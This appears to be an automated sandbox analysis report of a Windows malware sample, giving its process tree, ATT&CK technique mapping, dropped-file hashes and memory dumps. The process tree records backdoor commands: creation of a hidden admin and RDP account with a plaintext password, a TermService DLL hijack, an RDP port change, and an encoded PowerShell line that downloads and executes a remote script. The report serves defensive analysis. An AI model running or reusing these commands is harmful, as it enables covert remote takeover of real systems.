    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:660

C:\Users\Admin\AppData\Local\Temp\686B.exe
C:\Users\Admin\AppData\Local\Temp\686B.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3228
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zlrlc2p0\zlrlc2p0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3720
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAD72.tmp" "c:\Users\Admin\AppData\Local\Temp\zlrlc2p0\CSC6311CB3D77FD413EB416FBD644A581CB.TMP"
      4⤵
      PID:3524
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:2632
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:2892
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:3892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3144
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:3376
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:4028
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    PID:2020
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1724
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    PID:2924
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:3140
    - - C:\Windows\SysWOW64\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1632
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1604
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:704
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:3184
    - - C:\Windows\SysWOW64\net.exe
        
        net start TermService
        5⤵
        
        PID:3944
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3548
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2120
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1996
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3528 -s 740
  2⤵
  - Program crash
  PID:2972

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1632

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc dhyEpU36 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc dhyEpU36 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc dhyEpU36 /add
    3⤵
    PID:3672

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:3724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:3964

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
1⤵
PID:1112
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
  2⤵
  PID:1364
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
    3⤵
    PID:2716

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2684
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3756

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc dhyEpU36
1⤵
PID:2636
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc dhyEpU36
  2⤵
  PID:1164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc dhyEpU36
    3⤵
    PID:3744

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1792
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:4000

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1248
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:1900

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3136
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:1584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5
2cb3f528286df9feab019e0de2053b6a

SHA1
0d5835457f71fd6cdfa45e7280544142e35ad6fc

SHA256
bcdaef74a79cde95526e25c52de2623b0e2b2091a304e57db0cd7e640bb08943

SHA512
c466148cc9d282d02b5463c2ddd0d28c69a0e1715d4aae3bbf9874d39df6ffbc242f10be9d75b18c71d49626ae4f4bb6886f4955afced091e68590155a79e860

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5
9d43e21785cc3169068bf06afc6cf381

SHA1
4fa0be5efd37649253515426920dc13aef285221

SHA256
0d2978f868b8225004adf71ff7861290926c9d38cd02431f17b21b1e145e38f1

SHA512
08d056a8e6bb95e21270e9ac42d851124ffa5fbe6b3917558551e7726645bc8ebe288f999df33c4620d11a817e9d96bef597b47d4bee151727b0e308c17cb75b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
75524bf9304155177ab1b5a6981fc547

SHA1
85c148e0af79f4aa5caff4d67ab35ecd0e17021a

SHA256
825a1039cc5f6b354a933d2aff33976778a9dfa67f3bf30a73440c74de70a507

SHA512
d45433225efe2d7ec80c4728fd20993b52eddd43fe48a0775b7f307a006727fd6249e64f66216859f830b499f3e85b58e5a3dc9ab87654b311a4eb9930efd982

Download Submit
C:\Users\Admin\AppData\Local\Temp\54F2.exe

MD5
63151e4f7c3972f18a23c0e9996e14ef

SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270

SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\54F2.exe

MD5
63151e4f7c3972f18a23c0e9996e14ef

SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270

SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\686B.exe

MD5
239348d287c11a59a46078a95c0274ba

SHA1
e27f3e5a2c8b629d799d3d04396fcec50c435e6f

SHA256
edc29fe698230e37846eaa00d4aeed60550c09674bf628237c9b942e0085d121

SHA512
69f0ef71d9d358ceb4a73345cefa48a8e388f6a9dd62aa82487fbe1983c8d372dd40407e756ac7245d45b85fdcc2c4b538b02d6a7b9cb3f874ea64cb0cbc0397

Download Submit
C:\Users\Admin\AppData\Local\Temp\686B.exe

MD5
239348d287c11a59a46078a95c0274ba

SHA1
e27f3e5a2c8b629d799d3d04396fcec50c435e6f

SHA256
edc29fe698230e37846eaa00d4aeed60550c09674bf628237c9b942e0085d121

SHA512
69f0ef71d9d358ceb4a73345cefa48a8e388f6a9dd62aa82487fbe1983c8d372dd40407e756ac7245d45b85fdcc2c4b538b02d6a7b9cb3f874ea64cb0cbc0397

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES78A7.tmp

MD5
32009efada533e99c8126d2b7f6f3da5

SHA1
c8fb065a8ebcd762fb1ba4ff4f8bfdbd086ff63a

SHA256
cc7970b16d7cc5e652d000661158acf309ee51658786c5c086815be1b8040736

SHA512
af950ecaa457b2cfe9f2ef08e2e98c63b3d0ca4dc12a120942991213048d9c310432d415377695031023caac8be3ec4004fb1613c1a811bd7d89235df3040895

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESAD72.tmp

MD5
3be1f8ec5c35308e9aa9aa1273b55707

SHA1
5f7e8a8813108cfbcb19b6f1655a944dea12b99f

SHA256
14ab92b48a0d63b61adafd01addc5436bc9948c7de607dec949748e5221e8b33

SHA512
83584233ad621881bed62e996f3f471a08f110360066e100e3e4d8c7f4496f8cfd72a1956cd1e34f9e2c12bbba6d74f5ab7f6339d8d2328a69751337e54138f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\ba3hzcvm\ba3hzcvm.dll

MD5
c473c47db1c5473b0fad6b128622aa30

SHA1
e17abc0f8bdd2d94a557584c6468bb70286ec4e7

SHA256
a70d11630fcdd4c54e9b622aa877f9d6436c302b963abc4ab886f8c88a301094

SHA512
d3e4ee853200cc765365f6549bc38ce3868d5b3c02b86b01207e6357b85a52f0326140ee4ec16f62aba3e1866fbf572be88ee7fb532deb0d0682826a10e7a4da

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
f783019c5dc4a5477d1ffd4f9f512979

SHA1
37c8d1e5dd2ebce647c4e0a92f8598ebf2fdcc7b

SHA256
4c81fee866a87b2de6e10640fe094f0db29258014177e294ac94a819940f5348

SHA512
64d90352f4466f0097dd2c7ace8ccb155947dda8ae148c8c6ba1507a9e879247fab2eba452c812ba628a65de93cc096dabfcb23d2be4b525a92e5ef9e4b57d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
794bf0ae26a7efb0c516cf4a7692c501

SHA1
c8f81d0ddd4d360dcbe0814a04a86748f99c6ff2

SHA256
97753653d52aaa961e4d1364b5b43551c76da9bb19e12f741bd67c986259e825

SHA512
20c97972a1256375157f82a859ce4936613fe109d54c63bbec25734edc3a567ca976b342a21ef5f25571b3c1959afe618ad9f9f17a817cfd731d1504541b1a75

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Local\Temp\zlrlc2p0\zlrlc2p0.dll

MD5
9891cd83b17336a811772cb0867133d2

SHA1
da11bdb45bdfb85d4301edc87462d90a454a7835

SHA256
d216c165323bd54de4d356323c33ab633f228475b3c421cceffa23988ac72c51

SHA512
76164928206f851b582c70f399d6599629ac7e8396deba202f6825b9e956f83d405cfc7c4856abf890e5fb66bb8360d7aa716a2f78753ccbcb3cd2c9a2ddbdd1

Download Submit
C:\Windows\branding\mediasrv.png

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Windows\branding\mediasvc.png

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Windows\branding\wupsvc.jpg

MD5
bf0d0c5402d23f3c42e2ffdf583e26ab

SHA1
8eb44d6c4586691b8dc05544dda645e79a2f36e8

SHA256
d1764c0c30290e47c7365148018221a4e86a4737e64214005a2b67db2ec9175c

SHA512
44780c79c333c589d3c9fb4cbb063ecdbd6941787c35bf1f20d239eaa0fee19e847c5f5c7b4c5b3ef78ab21a3f13e909a52a749167ea032275c0bf7ebc49c69f

Download Submit
C:\windows\temp\usrnm.txt

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ba3hzcvm\CSCFADF3ACD147B44F88084303A989057BD.TMP

MD5
f9386b6f7308ab825b3b8014a95fcb5a

SHA1
88d9d1ab12fd0097c808047c89be0db236b1cc8c

SHA256
a3beee1bf723a157e0f00f0abf83758ab3a9c55a59bca00ee4e0d72aef64263b

SHA512
bd292c6220713ff3577b2182b9e0b33913d232cc81f2147921ad6939d2e6e38dc12da0e5f4190dcfa7739b3f59efa468c085e1ea1477186279360495eaf3e798

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ba3hzcvm\ba3hzcvm.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ba3hzcvm\ba3hzcvm.cmdline

MD5
07131259b1b05179fc74661742f2c53e

SHA1
7763e6db43df8fcccb345c6ef77f99632b472d3e

SHA256
9167ceb5b6b5a5e376e29d6bfce3fe330ad6771d141b7017f5562945ebc1cb2e

SHA512
b6f4acfc88e57967cf60de0536906495f7c0e7ab21eb06ca219862330e94c7b821646da152900db70c3f9c0693bb6592e724872bb5bea6b7a2d919f8b7542bb9

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zlrlc2p0\CSC6311CB3D77FD413EB416FBD644A581CB.TMP

MD5
c76e69e50c244bb6e1d6b4833a66265a

SHA1
f5990d20bc98e6e4783fee8909cea3f7d06c0e4a

SHA256
098b6dec1591dafcbcad7fa72f93f01ad7815e3b6842a634bd7af7d643c32df8

SHA512
86f0f8eff43c1205b33895d178dd7ecded8ac6cc402b8eb937093493b04196a7a5baf9e5c23d5205ab922c6be6833e2d1f0c125e63bc869719e77d24e2bfffb5

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zlrlc2p0\zlrlc2p0.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zlrlc2p0\zlrlc2p0.cmdline

MD5
12ab7c6f5fc5abd79982bc3961ca1a77

SHA1
010ca7f43422ff94874909acd03ef0af56d01040

SHA256
a1226d53665b0127226ba60395464b96913f8ef56076cb263234321f1be8adda

SHA512
8135d3b7e20d5cca67ba39266b99d2db354dbdc45339d326f4eedbde062f71fdc3a0f99d92b90ab67633d41643191959e0705c65ad5966524716cf7ab448d435

Download Submit
\Windows\Branding\mediasrv.png

MD5
ac13d804585a74dc542db4ec94da39df

SHA1
8642ae2e04e492700caf41b43de9ef9d8b3c26f9

SHA256
84c41dc018689fcb2fc4240f1e0267a5ee82232e3bcd541f5f5bed4139cfcd55

SHA512
0ba869487fda38d398903df4235bd8f2d0f8fb774b559125ba278751a5a503adbb0557f9ea2fde5fecba4f1a33b71583be36fac0f6f8842cbee0bdd7ea2fb5bf

Download Submit
\Windows\Branding\mediasvc.png

MD5
9151c95451abb048a44f98d0afac8264

SHA1
22f447b210eb25c11be5a9c31f254f5f2bd50a78

SHA256
8082bfe8a9f63854d6317cf6ddc0c18c54140ee5d179a96bfe9900c90d994518

SHA512
728b140e68dcb6751cccb4d1046ac61f63e8db13d4f613b44e161d457f107acc11b3275167c7b4dff34a6d5966116ecb062f94713d0cf4f35b327d14ec7cbd13

Download Submit
memory/660-1368-0x0000000000000000-mapping.dmp

Download
memory/704-1346-0x0000000000000000-mapping.dmp

Download
memory/820-149-0x0000000000000000-mapping.dmp

Download
memory/932-694-0x0000000000000000-mapping.dmp

Download
memory/980-581-0x0000000000000000-mapping.dmp

Download
memory/1164-704-0x0000000000000000-mapping.dmp

Download
memory/1232-524-0x0000000000000000-mapping.dmp

Download
memory/1232-667-0x0000000000000000-mapping.dmp

Download
memory/1364-685-0x0000000000000000-mapping.dmp

Download
memory/1376-576-0x0000000000000000-mapping.dmp

Download
memory/1412-163-0x000001E5365C0000-0x000001E5365C1000-memory.dmp

Filesize
4KB

Download
memory/1412-136-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-143-0x000001E5365F0000-0x000001E5365F2000-memory.dmp

Filesize
8KB

Download
memory/1412-144-0x000001E5365F3000-0x000001E5365F5000-memory.dmp

Filesize
8KB

Download
memory/1412-133-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-145-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-140-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-134-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-135-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-152-0x000001E5365F6000-0x000001E5365F8000-memory.dmp

Filesize
8KB

Download
memory/1412-141-0x000001E537120000-0x000001E537121000-memory.dmp

Filesize
4KB

Download
memory/1412-137-0x000001E51E470000-0x000001E51E471000-memory.dmp

Filesize
4KB

Download
memory/1412-138-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-174-0x000001E5365F8000-0x000001E5365F9000-memory.dmp

Filesize
4KB

Download
memory/1412-175-0x000001E537700000-0x000001E537701000-memory.dmp

Filesize
4KB

Download
memory/1412-176-0x000001E537A90000-0x000001E537A91000-memory.dmp

Filesize
4KB

Download
memory/1412-139-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-131-0x0000000000000000-mapping.dmp

Download
memory/1516-184-0x0000000000000000-mapping.dmp

Download
memory/1516-193-0x000002BBF88F0000-0x000002BBF88F2000-memory.dmp

Filesize
8KB

Download
memory/1516-187-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-188-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-190-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-191-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-192-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-203-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-194-0x000002BBF88F3000-0x000002BBF88F5000-memory.dmp

Filesize
8KB

Download
memory/1516-452-0x0000000000000000-mapping.dmp

Download
memory/1516-252-0x000002BBF88F8000-0x000002BBF88FA000-memory.dmp

Filesize
8KB

Download
memory/1516-185-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-225-0x000002BBF88F6000-0x000002BBF88F8000-memory.dmp

Filesize
8KB

Download
memory/1516-186-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1584-731-0x0000012B29C43000-0x0000012B29C45000-memory.dmp

Filesize
8KB

Download
memory/1584-717-0x0000000000000000-mapping.dmp

Download
memory/1584-730-0x0000012B29C40000-0x0000012B29C42000-memory.dmp

Filesize
8KB

Download
memory/1584-822-0x0000012B29C46000-0x0000012B29C48000-memory.dmp

Filesize
8KB

Download
memory/1584-953-0x0000012B29C48000-0x0000012B29C49000-memory.dmp

Filesize
4KB

Download
memory/1604-1345-0x0000000000000000-mapping.dmp

Download
memory/1632-644-0x0000000000000000-mapping.dmp

Download
memory/1632-1344-0x0000000000000000-mapping.dmp

Download
memory/1648-562-0x0000000000000000-mapping.dmp

Download
memory/1724-1340-0x0000000000000000-mapping.dmp

Download
memory/1848-528-0x0000000000000000-mapping.dmp

Download
memory/1900-712-0x0000000000000000-mapping.dmp

Download
memory/1996-1419-0x0000000000000000-mapping.dmp

Download
memory/2020-1339-0x0000000000000000-mapping.dmp

Download
memory/2120-1418-0x0000000000000000-mapping.dmp

Download
memory/2264-292-0x0000000000000000-mapping.dmp

Download
memory/2264-327-0x000002955A0A6000-0x000002955A0A8000-memory.dmp

Filesize
8KB

Download
memory/2264-321-0x000002955A0A0000-0x000002955A0A2000-memory.dmp

Filesize
8KB

Download
memory/2264-324-0x000002955A0A3000-0x000002955A0A5000-memory.dmp

Filesize
8KB

Download
memory/2348-158-0x0000000000000000-mapping.dmp

Download
memory/2632-381-0x0000000007002000-0x0000000007003000-memory.dmp

Filesize
4KB

Download
memory/2632-369-0x0000000000000000-mapping.dmp

Download
memory/2632-403-0x000000007F390000-0x000000007F391000-memory.dmp

Filesize
4KB

Download
memory/2632-380-0x0000000007000000-0x0000000007001000-memory.dmp

Filesize
4KB

Download
memory/2668-451-0x0000000000000000-mapping.dmp

Download
memory/2684-319-0x000002CAE3FF8000-0x000002CAE3FFA000-memory.dmp

Filesize
8KB

Download
memory/2684-241-0x0000000000000000-mapping.dmp

Download
memory/2684-253-0x000002CAE3FF0000-0x000002CAE3FF2000-memory.dmp

Filesize
8KB

Download
memory/2684-254-0x000002CAE3FF3000-0x000002CAE3FF5000-memory.dmp

Filesize
8KB

Download
memory/2684-282-0x000002CAE3FF6000-0x000002CAE3FF8000-memory.dmp

Filesize
8KB

Download
memory/2700-117-0x0000000000400000-0x0000000002EF4000-memory.dmp

Filesize
43.0MB

Download
memory/2700-116-0x0000000003180000-0x0000000003189000-memory.dmp

Filesize
36KB

Download
memory/2700-115-0x0000000003060000-0x0000000003068000-memory.dmp

Filesize
32KB

Download
memory/2716-686-0x0000000000000000-mapping.dmp

Download
memory/2728-1366-0x0000000000000000-mapping.dmp

Download
memory/2892-693-0x0000000000000000-mapping.dmp

Download
memory/2892-709-0x0000000007022000-0x0000000007023000-memory.dmp

Filesize
4KB

Download
memory/2892-708-0x0000000007020000-0x0000000007021000-memory.dmp

Filesize
4KB

Download
memory/2892-734-0x000000007F1B0000-0x000000007F1B1000-memory.dmp

Filesize
4KB

Download
memory/2896-585-0x0000000000000000-mapping.dmp

Download
memory/2924-1342-0x0000000000000000-mapping.dmp

Download
memory/2940-716-0x0000000000000000-mapping.dmp

Download
memory/2960-118-0x0000000001330000-0x0000000001346000-memory.dmp

Filesize
88KB

Download
memory/2996-529-0x0000000000000000-mapping.dmp

Download
memory/3052-530-0x0000000000000000-mapping.dmp

Download
memory/3084-125-0x0000024BDC313000-0x0000024BDC315000-memory.dmp

Filesize
8KB

Download
